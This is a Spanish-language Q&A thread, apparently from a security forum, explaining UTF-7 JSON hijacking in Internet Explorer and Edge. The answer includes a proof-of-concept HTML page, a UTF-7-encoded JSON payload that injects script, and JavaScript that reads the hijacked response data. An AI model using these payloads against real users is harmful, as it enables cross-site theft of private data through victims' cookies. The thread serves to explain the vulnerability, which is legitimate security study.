Secuestro JSON UTF-7 en Microsoft IE y Edge

0

Después de algunas investigaciones, vi una respuesta en StackOverflow que decía que aún es posible realizar un secuestro JSON UTF-7 utilizando los navegadores Microsoft IE y Edge. Si es así, ¿cómo se puede hacer? Realmente necesito una explicación sobre esto o una prueba de concepto.

    
pregunta Test 21.04.2016 - 00:12
fuente

1 respuesta

3

Supongo que se refiere a este comentario , "Microsofts IE y Edge aún son vulnerables al secuestro JSON UTF-7".

Siguiendo las instrucciones de esta publicación del blog de 2011 sobre el secuestro de JSON , reproducí El problema con Microsoft Edge 20 y IE11.

Crea un archivo HTML como este:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

Y un archivo x.json como este:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

En la codificación UTF-7, que aparentemente se decodifica a:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

Y luego, dado el poder de ejecutar JavaScript en el contexto de la respuesta, puedes escribir más / otro código malvado, por ejemplo. Código para leer el resto de la respuesta. Por ejemplo:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Lea la publicación del blog para obtener más detalles sobre las implicaciones de esto, pero la idea es que consiga que un usuario abra una página en su sitio, realice esta solicitud de script (que usaría las credenciales de cookie de la víctima) y luego JSON la secuestre para leer una lista parcial de los amigos del usuario.

    
respondido por el Dan Fabulich 08.05.2017 - 23:28
fuente

Lea otras preguntas en las etiquetas